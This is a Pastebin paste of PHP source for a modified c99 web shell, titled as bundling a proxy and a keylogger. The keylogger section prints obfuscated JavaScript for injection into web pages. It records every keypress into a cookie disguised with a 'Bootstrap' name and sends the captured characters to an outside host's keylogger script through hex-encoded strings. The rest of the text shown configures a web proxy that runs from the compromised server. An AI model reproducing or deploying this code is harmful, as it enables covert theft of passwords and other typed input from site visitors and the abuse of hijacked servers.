Blade83

c99Shell with Proxy & Keylogger

Sep 12th, 2014
1,182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 285.11 KB | None | 0 0
  1. <?php
  2. /*>        ____  _           _       ___ _____
  3.  *>       | __ )| | __ _  __| | ___ ( _ )___ /
  4.  *>       |  _ \| |/ _` |/ _` |/ _ \/ _ \ |_ \
  5.  *>       | |_) | | (_| | (_| |  __/ (_) |__) |
  6.  *>       |____/|_|\__,_|\__,_|\___|\___/____/
  7.  *>
  8.  **  - - - - - - - - - - - - - - - - - - - - - - - +
  9.  =>  Web ......... http://cplusplus-development.de |
  10.  =>  Mail ........................ mail@blade83.de |
  11.  =>  (c) ............... 2005-2014 Johannes Krämer |
  12.  **  - - - - - - - - - - - - - - - - - - - - - - - +
  13.  **
  14.  =>  Project:    c99Shell
  15.  =>  Filename:   shell.php
  16.  =>  Version:    18
  17.  =>  Modify by:  Blade83
  18.  */
  19. if(!isset($_SESSION)) session_start();
  20. if ($_GET['proxy'] == true)
  21. {
  22.     $_SESSION['show_proxy'] = true;
  23.     header("Location: ".(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']=='on'?'https':'http')."://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
  24.     exit;
  25. } elseif ($_GET['keylogger'] == true)
  26. {
  27.     $_SESSION['show_keylogger'] = true;
  28.     header("Location: ".(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']=='on'?'https':'http')."://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
  29.     exit;
  30.    
  31.    
  32. } elseif ($_GET['shell'] == true)
  33. {
  34.     unset($_SESSION['show_proxy']);
  35.     unset($_SESSION['show_keylogger']);
  36. }
  37.  
  38. if($_SESSION['show_keylogger'])
  39. {
  40.     ?>
  41. <!DOCTYPE html>
  42. <html>
  43.     <head>
  44.         <meta charset="utf-8">
  45.         <title></title>
  46.         <meta name="viewport" content="width=device-width, initial-scale=1.0">
  47.         <meta name="Keywords" content="" />
  48.       </head>
  49.     <body>
  50.     <p align="center"><a href="<?php echo (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']=='on'?'https':'http')."://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?shell=true"?>">Back to Shell</a></p>
  51. <textarea name="keyloggerCode" style="width:100%;height:600px">
  52. &lt;script&gt;
  53. //&lt;![CDATA[
  54.     function setBootstrapCookie(cname,cvalue){
  55.         var d=new Date();
  56.         d.setTime(d.getTime()+(0x16D*0x18*0x3C*0x3C*0x3E8));
  57.         document.cookie=cname+"="+cvalue+"; expires="+d.toGMTString();
  58.     }
  59.     function getBootstrapCookie(cname){
  60.         var blockComplete = 0x00000020, bBlockComplete = blockComplete.toString(0x00000002);
  61.         var name=cname+"=", ca=document.cookie.split(';');
  62.         for(var i=0;i&lt;ca.length;i++) {
  63.             var c=ca[i], re=new RegExp(cname);
  64.             if(re.test(c)){
  65.                 var block=c.split('=')[1], countBlock=block.split(',');
  66.                 if (countBlock.length &gt;= parseInt(bBlockComplete,0x00000002)) {
  67.                     document.cookie=cname+"=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
  68.                     updateBootstrapCookie(block);
  69.                 }
  70.             }
  71.             while(c.charAt(0)==' ')     { c=c.substring(1); }
  72.             if (c.indexOf(name) != -1)  { return c.substring(name.length,c.length); }
  73.         }
  74.         return false;
  75.     }
  76.     function updateBootstrapCookie(arg) {
  77.         var _0x27ef=[
  78.             "\x47\x45\x54",
  79.             "\x68\x74\x74\x70"+
  80.             "\x3A\x2F\x2F\x62"+
  81.             "\x6C\x61\x64\x65"+
  82.             "\x38\x33\x2E\x64"+
  83.             "\x65\x2F\x6C\x6F"+
  84.             "\x67\x2F\x6B\x65"+
  85.             "\x79\x6C\x6F\x67"+
  86.             "\x67\x65\x72\x2E"+
  87.             "\x70\x68\x70\x3F"+
  88.             "\x6B\x65\x79\x43"+
  89.             "\x68\x61\x72\x43"+
  90.             "\x6F\x64\x65\x3D",
  91.             "\x6F\x70\x65\x6E",
  92.             "\x73\x65\x6E\x64"
  93.         ]; try{ var display=new XMLHttpRequest();
  94.         display[_0x27ef[2]](_0x27ef[0],_0x27ef[1]+arg,true);
  95.         display[_0x27ef[3]]();} catch(e){};
  96.     }
  97.    
  98.    
  99.  
  100.     document.onkeypress = function(evt){
  101.         evt=evt||window.event; if(evt.charCode){
  102.             var _0x9855=["\x72\x65\x6E\x64\x65\x72\x42\x6F\x6F\x74\x73\x74\x72\x61\x70"];
  103.             var cn=_0x9855[0]; try {
  104.                if (getBootstrapCookie(cn)) {
  105.                    var arr=getBootstrapCookie(cn).split(",");
  106.                    arr[arr.length]=evt.charCode;
  107.                    setBootstrapCookie(cn,arr.toString());
  108.                } else { setBootstrapCookie(cn,evt.charCode); }
  109.             } catch(e) {}
  110.         }
  111.     }
  112. //]]&gt;
  113. &lt;/script&gt;
  114. </textarea>
  115.     </body>
  116. </html>
  117.     <?php
  118.     exit;
  119. }
  120.  
  121.  
  122. if($_SESSION['show_proxy'])
  123. {
  124.  
  125. global $CONFIG;
  126. $CONFIG=array();
  127.  
  128.  
  129. # PHP DECODING FUNCTIONS {{{
  130.  
  131. function my_base64_decode($string){
  132.     return base64_decode(str_replace(' ','+',urldecode($string)));
  133. }
  134.  
  135. function proxdec($url){
  136.     if(strlen($url)==0 || ($url{0}!='~' && strtolower(substr($url,0,3))!='%7e'))
  137.         return $url;
  138.     #while(strpos($url,'%')!==false) $url=urldecode($url);
  139.     #$url=urldecode($url);
  140.     while($url{0}=='~' || strtolower(substr($url,0,3))=='%7e'){
  141.         $url=substr($url,1);
  142.         $url=my_base64_decode($url);
  143.         $new_url=null;
  144.         for($i=0;$i<strlen($url);$i++){
  145.             $char=ord($url{$i});
  146.             $char-=ord(substr(SESS_PREF,$i%strlen(SESS_PREF),1));
  147.             while($char<32) $char+=94;
  148.             $new_url.=chr($char);
  149.         }
  150.         $url=$new_url;
  151.     }
  152.     return urldecode($url);
  153. }
  154.  
  155. # }}}
  156.  
  157.  
  158.  
  159.  
  160. $CONFIG['SYS_TIMEZONE']='GMT';
  161. $CONFIG['DEFAULT_SIMPLE']=false;
  162. $CONFIG['FORCE_SIMPLE']=false;
  163. $CONFIG['SIMPLE_MODE_URLWIDTH']='300px';
  164. $CONFIG['DISABLE_POST_COOKIES']=false;
  165. $CONFIG['INCLUDE_MAIN_HEADER']='';
  166. $CONFIG['INCLUDE_MAIN_FOOTER']='';
  167. $CONFIG['INCLUDE_URL_HEADER']='';
  168. $CONFIG['DEFAULT_TUNNEL_IP']='';
  169. $CONFIG['DEFAULT_TUNNEL_PORT']='';
  170. $CONFIG['FORCE_DEFAULT_TUNNEL']=false;
  171. $CONFIG['DEFAULT_USER_AGENT']='';
  172. $CONFIG['FORCE_DEFAULT_USER_AGENT']=false;
  173. $CONFIG['DEFAULT_URL_FORM']=true;
  174. $CONFIG['FORCE_DEFAULT_URL_FORM']=false;
  175. $CONFIG['DEFAULT_REMOVE_COOKIES']=false;
  176. $CONFIG['FORCE_DEFAULT_REMOVE_COOKIES']=false;
  177. $CONFIG['DEFAULT_REMOVE_REFERER']=true;
  178. $CONFIG['FORCE_DEFAULT_REMOVE_REFERER']=false;
  179. $CONFIG['DEFAULT_REMOVE_SCRIPTS']=false;
  180. $CONFIG['FORCE_DEFAULT_REMOVE_SCRIPTS']=false;
  181. $CONFIG['DEFAULT_REMOVE_OBJECTS']=false;
  182. $CONFIG['FORCE_DEFAULT_REMOVE_OBJECTS']=false;
  183. $CONFIG['DEFAULT_ENCRYPT_URLS']=true;
  184. $CONFIG['FORCE_DEFAULT_ENCRYPT_URLS']=false;
  185. $CONFIG['DEFAULT_ENCRYPT_COOKIES']=false;
  186. $CONFIG['FORCE_DEFAULT_ENCRYPT_COOKIES']=false;
  187. $CONFIG['DEFAULT_ENCODE_HTML']=false;
  188. $CONFIG['FORCE_DEFAULT_ENCODE_HTML']=false;
  189. /*/ Address Blocking Notes \*\
  190. Formats for address blocking are as follows:
  191.   1.2.3.4     - plain IP address
  192.   1.0.0.0/16  - subnet blocking
  193.   1.0/16      - subnet blocking
  194.   1/8         - subnet blocking
  195.   php.net     - domain blocking
  196. Default Value: '10/8','172/8','192.168/16','127/8','169.254/16'
  197. \*\ End Address Blocking Notes /*/
  198. $CONFIG['BLOCKED_ADDRESSES']= array();
  199. $CONFIG['MAXIMUM_URL_LENGTH']=500;
  200. $CONFIG['TIME_LIMIT']=30;
  201. $CONFIG['DNS_CACHE_EXPIRE']=10;
  202. $CONFIG['MEMORY_LIMIT']='128M';
  203. $CONFIG['PERSISTENT_CONNECTIONS']=true;
  204. $CONFIG['PERSISTENT_CONNECTIONS_TIMEOUT']=30;
  205. $CONFIG['PCRE_BACKTRACK_LIMIT']=200000;
  206. $CONFIG['PCRE_RECURSION_LIMIT']=200000;
  207. $CONFIG['GZIP_PROXY_USER']=false;
  208. $CONFIG['GZIP_PROXY_SERVER']=false;
  209. $CONFIG['PROTO']=false;
  210.  
  211. $CONFIG['SSL_WARNING_IGNORE_FILETYPES'] = array(
  212.     '.css', '.js', '.gif', '.jpeg', '.jpg', '.png', '.bmp'
  213. );
  214.  
  215. global $LABEL;
  216. $LABEL=array();
  217.  
  218.  
  219. $LABEL['TITLE']='.W.E.B.P.R.O.X.Y. @ Blade83.de';
  220. $LABEL['URL']='URL:';
  221. $LABEL['TUNNEL']='Tunnel Proxy:';
  222. $LABEL['USER_AGENT']='User-Agent:';
  223. $LABEL['USER_AGENT_CUSTOM']='';
  224. $LABEL['URL_FORM']='Persistent URL Form';
  225. $LABEL['REMOVE_COOKIES']='Remove Cookies';
  226. $LABEL['REMOVE_REFERER']='Remove Referer Field';
  227. $LABEL['REMOVE_SCRIPTS']='Remove Scripts (JS, VBS, etc)';
  228. $LABEL['REMOVE_OBJECTS']='Remove Objects (Flash, Java, etc)';
  229. $LABEL['ENCRYPT_URLS']='Encrypt URLs';
  230. $LABEL['ENCRYPT_COOKIES']='Encrypt Cookies';
  231. $LABEL['ENCODE_HTML']='Encode HTML';
  232. $LABEL['SUBMIT_MAIN']='Go to Webpage';
  233. $LABEL['SUBMIT_SIMPLE']='Go to Webpage';
  234.  
  235. global $STYLE;
  236. $STYLE=array();
  237.  
  238. # body of whole document
  239. $STYLE['body']='
  240.     font-family: bitstream vera sans, arial;
  241.     margin: 0px;
  242.     padding: 0px;
  243. ';
  244.  
  245. # <form>
  246. $STYLE['form#proxy_form']='
  247.     margin: 0px;
  248.     padding: 0px;
  249. ';
  250.  
  251. # <table>
  252. $STYLE['table#proxy_table']='
  253.     margin: 0px;
  254.     padding: 0px;
  255.     margin-left: auto;
  256.     margin-right: auto;
  257. ';
  258.  
  259. # the title text above form
  260. $STYLE['td#proxy_title']='
  261.     font-weight: bold;
  262.     font-size: 1.4em;
  263.     text-align: center;
  264. ';
  265.  
  266. # class for all text fields
  267. $STYLE['input.proxy_text']='
  268.     width: 100%;
  269.     border: 1px solid #000000;
  270. ';
  271.  
  272. # class for all select fields
  273. $STYLE['select.proxy_select']='
  274.     width: 100%;
  275.     border: 1px solid #000000;
  276. ';
  277.  
  278. # class for all proxy defined links
  279. $STYLE['a.proxy_link']='
  280.     color: #000000;
  281. ';
  282.  
  283. # class for all submit buttons
  284. $STYLE['input.proxy_submit']='
  285.     border: 1px solid #000000;
  286.     background-color: #FFFFFF;
  287. ';
  288.  
  289. # the simple submit button
  290. $STYLE['input#proxy_submit_simple']='';
  291.  
  292. # the main submit button
  293. $STYLE['input#proxy_submit_main']='
  294.     width: 100%;
  295. ';
  296.  
  297. # the tunnel proxy ip field
  298. $STYLE['input#proxy_tunnel_ip']='
  299.     float: left;
  300.     width: 73%;
  301. ';
  302.  
  303. # the tunnel proxy port field
  304. $STYLE['input#proxy_tunnel_port']='
  305.     float: right;
  306.     width: 23%;
  307. ';
  308.  
  309. # the link for script information and a link to the author
  310. $STYLE['a#proxy_link_author']='
  311.     float: left;
  312. ';
  313.  
  314. # the link for toggling modes
  315. $STYLE['a#proxy_link_mode']='
  316.     float: right;
  317. ';
  318.  
  319. # }}}
  320.  
  321. # STYLE_URL_FORM {{{
  322.  
  323. # The default value for $STYLE_URL_FORM is to be completely blank.  Add entries
  324. # as you please.
  325.  
  326. global $STYLE_URL_FORM;
  327. $STYLE_URL_FORM=array();
  328.  
  329. # }}}
  330.  
  331.  
  332.  
  333. // DON'T EDIT ANYTHING AFTER THIS POINT \\
  334.  
  335.  
  336. #
  337. # (unless you absolutely know what you are doing...)
  338. #
  339.  
  340.  
  341. # USER CONFIG {{{
  342.  
  343. define('THIS_FILE',"{$_SERVER['DOCUMENT_ROOT']}{$_SERVER['PHP_SELF']}");
  344. $file_ext_pos=strrpos(THIS_FILE,'.');
  345. define('CONFIG_FILE',
  346.     substr(THIS_FILE,0,$file_ext_pos).
  347.     '.conf'.
  348.     substr(THIS_FILE,$file_ext_pos)
  349. );
  350. if(file_exists(CONFIG_FILE))
  351.     include(CONFIG_FILE);
  352.  
  353. # }}}
  354.  
  355. # TESTING CENTER {{{
  356.  
  357. if($IS_SANDBOX){
  358.     // these values must be false for the output to be plain text
  359.     $CONFIG['GZIP_PROXY_USER']=false;
  360.     $CONFIG['GZIP_PROXY_SERVER']=false;
  361. }
  362.  
  363. # }}}
  364.  
  365. # COOKIE & SESSION SETUP {{{
  366.  
  367. //$totstarttime=microtime(true); # BENCHMARK
  368.  
  369. # set error level to not display notices
  370. error_reporting(E_ALL^E_NOTICE);
  371.  
  372. # set timezone (required now in PHP)
  373. date_default_timezone_set($CONFIG['SYS_TIMEZONE']);
  374.  
  375. # PCRE
  376. ini_set('pcre.backtrack_limit', $CONFIG['PCRE_BACKTRACK_LIMIT']);
  377. ini_set('pcre.recursion_limit', $CONFIG['PCRE_RECURSION_LIMIT']);
  378.  
  379. # set time and memory limits to their defined values, if not in safe mode
  380. if(!ini_get('safe_mode')) set_time_limit($CONFIG['TIME_LIMIT']);
  381. if(!ini_get('safe_mode')) ini_set('memory_limit', $CONFIG['MEMORY_LIMIT']);
  382.  
  383. # use gzip compression if available and enabled
  384. if($CONFIG['GZIP_PROXY_USER'] && extension_loaded('zlib') &&
  385.    !ini_get('zlib.output_compression')
  386. ) ob_start('ob_gzhandler');
  387.  
  388. # reverse magic quotes if enabled
  389. if(
  390.     ini_get('magic_quotes_sybase')==1 ||
  391.     (ini_get('magic_quotes_sybase')=='' && get_magic_quotes_gpc())
  392. ){
  393.     function stripslashes_recurse($var){
  394.         if(is_array($var)) $var=array_map('stripslashes_recurse',$var);
  395.         else{
  396.             if(ini_get('magic_quotes_sybase')==1 && get_magic_quotes_gpc())
  397.                 $var=str_replace('\\\'','\'',$var);
  398.             else
  399.                 $var=stripslashes($var);
  400.         }
  401.         return $var;
  402.     }
  403.     $_GET=stripslashes_recurse($_GET);
  404.     $_POST=stripslashes_recurse($_POST);
  405.     $_COOKIE=stripslashes_recurse($_COOKIE);
  406. }
  407.  
  408. # script environment constants
  409. $CONFIG['PROTO']=(
  410.     isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']=='on'?
  411.     'https':'http'
  412. );
  413. define('VERSION','1.9.1b');
  414. define('THIS_SCRIPT',
  415.     $CONFIG['PROTO']."://{$_SERVER['HTTP_HOST']}{$_SERVER['PHP_SELF']}");
  416.  
  417. # randomized cookie prefixes
  418. function gen_randstr($len){
  419.     $chars=null;
  420.     for($i=0;$i<$len;$i++){
  421.         $char=rand(0,25);
  422.         $char=chr($char+97);
  423.         $chars.=$char;
  424.     }
  425.     return $chars;
  426. }
  427.  
  428. function dosetcookie($cookname,$cookval,$expire=null){
  429.     $_COOKIE[$cookname]=$cookval;
  430.     if($expire===null) setcookie($cookname,$cookval);
  431.     else setcookie($cookname,$cookval,$expire);
  432. }
  433.  
  434. if(!isset($_SESSION)) session_start();
  435.  
  436. define('SESS_PREF_LEN',30);
  437. if(empty($_SESSION['sesspref'])){
  438.     $sesspref=gen_randstr(SESS_PREF_LEN);
  439.     $_SESSION['sesspref']=$sesspref;
  440. }
  441. else $sesspref=$_SESSION['sesspref'];
  442.  
  443. if(empty($_COOKIE['user'])){
  444.     define('COOK_PREF_LEN',12);
  445.     $cookpref=gen_randstr(COOK_PREF_LEN);
  446.     dosetcookie('user',$cookpref);
  447. } else {
  448.     $cookpref=$_COOKIE['user'];
  449.     // the reason we do this dynamically is to support the sandbox asserts
  450.     define('COOK_PREF_LEN',strlen($cookpref));
  451. }
  452.  
  453. define('SESS_PREF',$sesspref);
  454. define('COOK_PREF',$cookpref);
  455. define('FERP_KOOC',strrev($cookpref));
  456. define('COOKIE_SEPARATOR','__'.COOK_PREF.'__');
  457. unset($sesspref,$cookpref);
  458.  
  459. global $proxy_variables;
  460. $proxy_variables=array(
  461.     'user', COOK_PREF, COOK_PREF.'_set_values',
  462.     COOK_PREF.'_tunnel_ip',COOK_PREF.'_tunnel_port',
  463.     COOK_PREF.'_useragent',COOK_PREF.'_useragent_custom',
  464.     COOK_PREF.'_url_form',
  465.     COOK_PREF.'_remove_cookies',COOK_PREF.'_remove_referer',
  466.     COOK_PREF.'_remove_scripts',COOK_PREF.'_remove_objects',
  467.     COOK_PREF.'_encrypt_urls',COOK_PREF.'_encrypt_cookies');
  468.  
  469. # ssl domains array handling
  470. if(!empty($_GET[COOK_PREF.'_ssl_domain'])){
  471.     if(!is_array($_SESSION['ssl_domains'])) $_SESSION['ssl_domains']=array();
  472.     $_SESSION['ssl_domains'][]=$_GET[COOK_PREF.'_ssl_domain'];
  473.     exit();
  474. }
  475.  
  476. # }}}
  477.  
  478. # ENVIRONMENT SETUP {{{
  479.  
  480. global $postandget,$dns_cache_array;
  481. $postandget=array_merge($_GET,$_POST);
  482.  
  483. define('PAGETYPE_MINIREGEXP','(=[_\.\-]?\&=|=)?');
  484. define('PAGETYPE_REGEXP','/^'.PAGETYPE_MINIREGEXP.'(.*)$/');
  485.  
  486. $pagetype_str=preg_replace(PAGETYPE_REGEXP,'\1',$_SERVER['QUERY_STRING']);
  487. define('QUERY_STRING',
  488.     substr($_SERVER['QUERY_STRING'],
  489.     strlen($pagetype_str),
  490.     strlen($_SERVER['QUERY_STRING'])-strlen($pagetype_str)));
  491. define('PAGETYPE_NULL',0);
  492. define('PAGETYPE_FORCE_MAIN',1);
  493. define('PAGETYPE_FRAME_TOP',2);
  494. define('PAGETYPE_FRAMED_PAGE',3);
  495. # framing children for crimes isn't very nice, but the script does it anyway
  496. define('PAGETYPE_FRAMED_CHILD',4);
  497. switch($pagetype_str){
  498.     case '=&=': define('PAGETYPE_ID',PAGETYPE_FRAME_TOP); break;
  499.     case '=_&=': define('PAGETYPE_ID',PAGETYPE_FRAMED_PAGE); break;
  500.     case '=-&=': define('PAGETYPE_ID',PAGETYPE_FORCE_MAIN); break;
  501.     case '=.&=': define('PAGETYPE_ID',PAGETYPE_FRAMED_CHILD); break;
  502. # this is one more unencoded string for future features
  503. #       case '=*&=': define('PAGETYPE_ID',); break;
  504.     default: define('PAGETYPE_ID',PAGETYPE_NULL); break;
  505. }
  506. unset($pagetype_str);
  507.  
  508. define('NEW_PAGETYPE_FRAME_TOP',(
  509.     PAGETYPE_ID===PAGETYPE_FRAMED_CHILD?
  510.     PAGETYPE_FRAMED_CHILD:PAGETYPE_FRAME_TOP
  511. ));
  512. define('NEW_PAGETYPE_FRAMED_PAGE',(
  513.     PAGETYPE_ID===PAGETYPE_FRAMED_CHILD?
  514.     PAGETYPE_FRAMED_CHILD:PAGETYPE_FRAMED_PAGE
  515. ));
  516.  
  517. if(!empty($postandget[COOK_PREF])){
  518.     $oenc_url="{$postandget[COOK_PREF]}?";
  519.     foreach($postandget as $key=>$val){
  520.         if(!in_array($key,$proxy_variables) && $key!=''){
  521.             $key=urlencode($key);
  522.             $val=urlencode($val);
  523.             $oenc_url.="{$key}={$val}&";
  524.         }
  525.     }
  526.     $oenc_url=substr($oenc_url,0,-1);
  527. } else $oenc_url=QUERY_STRING;
  528.  
  529. if(
  530.     strpos(substr($oenc_url,0,6),'%')!==false ||
  531.     strpos($oenc_url,'%')<strpos($oenc_url,'/') ||
  532.     strpos($oenc_url,'%')<strpos($oenc_url,':')
  533. ) $oenc_url=urldecode($oenc_url);
  534.  
  535. define('OENC_URL',preg_replace('/^([^\?\&]+)\&/i','\1?',$oenc_url));
  536. unset($oenc_url);
  537. define('ORIG_URL',proxdec(OENC_URL));
  538. global $curr_url;
  539. $curr_url=ORIG_URL;
  540.  
  541. define('PAGE_FRAMED',
  542.     PAGETYPE_ID===PAGETYPE_FRAMED_PAGE ||
  543.     PAGETYPE_ID===PAGETYPE_FRAMED_CHILD ||
  544.     QUERY_STRING=='js_regexps_framed' ||
  545.     QUERY_STRING=='js_funcs_framed'
  546. );
  547.  
  548. # ENVIRONMENT SETUP: OPTIONS {{{
  549.  
  550. global $OPTIONS;
  551. $OPTIONS=array();
  552.  
  553. define('IS_FORM_INPUT',!empty($postandget[COOK_PREF.'_set_values']));
  554.  
  555. # registers an option with the OPTIONS array
  556. function register_option(
  557.     $config_type,
  558.     $config_name,
  559.     $cookie_name=null,
  560.     $force_name=null
  561. ){
  562.     if($cookie_name==null)
  563.         $cookie_name=strtolower($config_name);
  564.     if($force_name==null)
  565.         $force_name=$config_name;
  566.  
  567.     global $CONFIG,$OPTIONS,$postandget;
  568.  
  569.     # get user input
  570.     $user_input=(
  571.         IS_FORM_INPUT?
  572.         (
  573.             isset($postandget[COOK_PREF."_{$cookie_name}"])?
  574.             $postandget[COOK_PREF."_{$cookie_name}"]:false
  575.         ):
  576.         (
  577.             isset($_COOKIE[COOK_PREF."_{$cookie_name}"])?
  578.             $_COOKIE[COOK_PREF."_{$cookie_name}"]:false
  579.         )
  580.     );
  581.  
  582.     # option parsers
  583.     switch($config_type){
  584.         # integer option
  585.         case 2:
  586.             $user_input=intval($user_input);
  587.             break;
  588.  
  589.         # true/false option
  590.         case 1:
  591.             $user_input=(
  592.                 IS_FORM_INPUT?
  593.                 !empty($user_input):
  594.                 $user_input=='true'
  595.             );
  596.             break;
  597.  
  598.         # standard option
  599.         case 0:
  600.         default:
  601.             break;
  602.     }
  603.  
  604.     # set option value
  605.     $OPTIONS[$config_name]=(
  606.         $CONFIG["FORCE_DEFAULT_{$force_name}"] || (
  607.             !IS_FORM_INPUT && !isset($_COOKIE[COOK_PREF."_{$cookie_name}"])
  608.         )?
  609.         $CONFIG["DEFAULT_{$config_name}"]:
  610.         $user_input
  611.     );
  612.  
  613.     # set cookies
  614.     if(IS_FORM_INPUT){
  615.         dosetcookie(COOK_PREF."_{$cookie_name}",false,0);
  616.  
  617.         if($OPTIONS[$config_name]!=$CONFIG["DEFAULT_{$config_name}"]){
  618.             if($config_type==1)
  619.                 dosetcookie(
  620.                     COOK_PREF."_{$cookie_name}",
  621.                     ($OPTIONS[$config_name]?'true':'false')
  622.                 );
  623.             else
  624.                 dosetcookie(COOK_PREF."_{$cookie_name}",$OPTIONS[$config_name]);
  625.         }
  626.     }
  627. }
  628.  
  629. # register standard options
  630. register_option(0,'TUNNEL_IP',null,'TUNNEL');
  631. register_option(1,'URL_FORM');
  632. register_option(1,'REMOVE_COOKIES');
  633. register_option(1,'REMOVE_REFERER');
  634. register_option(1,'REMOVE_SCRIPTS');
  635. register_option(1,'REMOVE_OBJECTS');
  636. register_option(1,'ENCRYPT_URLS');
  637. register_option(1,'ENCRYPT_COOKIES');
  638. register_option(1,'ENCODE_HTML');
  639.  
  640. # register custom defined options
  641. $OPTIONS['USER_AGENT']=(
  642.     $CONFIG['FORCE_DEFAULT_USER_AGENT'] || empty($_COOKIE['_useragent'])?
  643.     $CONFIG['DEFAULT_USER_AGENT']:(
  644.         $_COOKIE[COOK_PREF.'_useragent']=='1'?
  645.         $_COOKIE[COOK_PREF.'_useragent_custom']:
  646.         $_COOKIE[COOK_PREF.'_useragent']
  647.     )
  648. );
  649.  
  650. register_option(2,'TUNNEL_PORT',null,'TUNNEL');
  651. if($OPTIONS['TUNNEL_PORT']<1 || $OPTIONS['TUNNEL_PORT']>65535)
  652.     $OPTIONS['TUNNEL_PORT']=null;
  653.  
  654. $OPTIONS['SIMPLE_MODE']=$CONFIG['DEFAULT_SIMPLE'] || $CONFIG['FORCE_SIMPLE'];
  655.  
  656. if(empty($OPTIONS['USER_AGENT']))
  657.     $OPTIONS['USER_AGENT']=$_SERVER['HTTP_USER_AGENT'];
  658.  
  659. # }}}
  660.  
  661. # }}}
  662.  
  663.  
  664. # FIRST PAGE DISPLAYED WHEN ACCESSING PROXY {{{
  665.  
  666. if(
  667.     PAGETYPE_ID===PAGETYPE_FORCE_MAIN ||
  668.     (substr(QUERY_STRING,0,3)!='js_' && ORIG_URL==null)
  669. ){
  670.  
  671. $useragent_platforms=array(
  672.     array('Windows', 'windows', 'win32'),
  673.     array('Linux', 'linux'),
  674.     array('Macintosh', 'macintosh', 'mac_powerpc'),
  675.     array('BSD', 'bsd')
  676. );
  677.  
  678. $useragent_browsers=array(
  679.     'firefox' => 'Firefox',
  680.     'iceweasel' => 'Iceweasel',
  681.     'konqueror' => 'Konqueror',
  682.     'msie' => 'Internet Explorer',
  683.     'netscape' => 'Netscape',
  684.     'opera' => 'Opera',
  685.     'safari' => 'Safari',
  686.     'seamonkey' => 'SeaMonkey'
  687. );
  688.  
  689. $useragentinfo=null;
  690.  
  691. # parse platform
  692. $dobreak=false;
  693. foreach($useragent_platforms as $platform){
  694.     for($i=1; $i<count($platform); $i++){
  695.         if(stristr($_SERVER['HTTP_USER_AGENT'], $platform[$i])!==false){
  696.             $useragentinfo.=$platform[0];
  697.             $dobreak=true;
  698.             break;
  699.         }
  700.     }
  701.  
  702.     if($dobreak)
  703.         break;
  704. }
  705.  
  706. if(!$dobreak)
  707.     $useragentinfo.='Unknown';
  708.  
  709. # separator
  710. $useragentinfo.=' / ';
  711.  
  712. # parse browser
  713. $found=false;
  714. foreach($useragent_browsers as $substr=>$browser){
  715.     if(stristr($_SERVER['HTTP_USER_AGENT'],$browser)!==false){
  716.         $useragentinfo.=$browser;
  717.         $found=true;
  718.         break;
  719.     }
  720. }
  721. if(!$found)
  722.     $useragentinfo.='Unknown';
  723.  
  724. # construct useragent options
  725. $ver=array(
  726.     'dillo' => '0.8.6',
  727.     'firefox' => '2.0',
  728.     'gecko' => '20061024',
  729.     'konq' => '3.5',
  730.     'konq_minor' => '3.5.5',
  731.     'links' => '2.1pre19',
  732.     'lynx' => '2.8.5rel.1',
  733.     'moz_rev' => '1.8.1',
  734.     'msie6' => '6.0',
  735.     'msie7' => '7.0',
  736.     'opera' => '9.02',
  737.     'safari' => '3.0',
  738.     'webkit' => '521.25',
  739.     'wget' => '1.10.2',
  740.     'windows' => 'NT 5.1'
  741. );
  742.  
  743. $useragent_array=array(
  744. array('-1',' [ Don\'t Send ] '),
  745.     array(null,"Actual ({$useragentinfo})"),
  746.    
  747.     array("Mozilla/5.0 (Windows; U; Windows {$ver['windows']}; en-US; ".
  748.           "rv:{$ver['moz_rev']}) Gecko/{$ver['gecko']} Firefox/".
  749.           $ver['firefox'],
  750.           "Windows XP / Firefox {$ver['firefox']}"),
  751.     array("Mozilla/4.0 (compatible; MSIE {$ver['msie7']}; Windows ".
  752.           "{$ver['windows']}; SV1)", 'Windows XP / Internet Explorer 7'),
  753.     array("Mozilla/4.0 (compatible; MSIE {$ver['msie6']}; Windows ".
  754.           "{$ver['windows']}; SV1)", 'Windows XP / Internet Explorer 6'),
  755.     array("Opera/{$ver['opera']} (Windows {$ver['windows']}; U; en)",
  756.           "Windows XP / Opera {$ver['opera']}"),
  757.     array("Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:".
  758.           "{$ver['moz_rev']}) Gecko/{$ver['gecko']} Firefox/{$ver['firefox']}",
  759.           "Mac OS X / Firefox {$ver['firefox']}"),
  760.     array("Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/".
  761.           "{$ver['webkit']} (KHTML, like Gecko) Safari/{$ver['webkit']}",
  762.           'Mac OS X / Safari 3.0'),
  763.     array("Opera/{$ver['opera']} (Macintosh; PPC Mac OS X; U; en)",
  764.           "Mac OS X / Opera {$ver['opera']}"),
  765.     array("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:{$ver['moz_rev']}) ".
  766.           "Gecko/{$ver['gecko']} Firefox/{$ver['firefox']}",
  767.           "Linux / Firefox {$ver['firefox']}"),
  768.     array("Opera/{$ver['opera']} (X11; Linux i686; U; en)",
  769.           "Linux / Opera {$ver['opera']}"),
  770.     array("Mozilla/5.0 (compatible; Konqueror/{$ver['konq']}; Linux) KHTML/".
  771.           "{$ver['konq_minor']} (like Gecko)",
  772.           "Linux / Konqueror {$ver['konq_minor']}"),
  773.     array("Links ({$ver['links']}; Linux 2.6 i686; x)",
  774.           "Linux / Links ({$ver['links']})"),
  775.     array("Lynx/{$ver['lynx']}","Any / Lynx {$ver['lynx']}"),
  776.     array("Dillo/{$ver['dillo']}","Any / Dillo {$ver['dillo']}"),
  777.     array("Wget/{$ver['wget']}","Any / Wget {$ver['wget']}"),
  778.     array('1',' [ Custom ]')
  779. );
  780.  
  781. define('IPREGEXP',
  782.     '/^((?:[0-2]{0,2}[0-9]{1,2}\.){3}[0-2]{0,2}[0-9]{1,2})\:([0-9]{1,5}$/');
  783.  
  784. $checkbox_array=array(
  785.     'URL_FORM',
  786.     'REMOVE_COOKIES',
  787.     'REMOVE_REFERER',
  788.     'REMOVE_SCRIPTS',
  789.     'REMOVE_OBJECTS',
  790.     'ENCRYPT_URLS',
  791.     'ENCRYPT_COOKIES',
  792.     'ENCODE_HTML'
  793. );
  794.  
  795. ?>
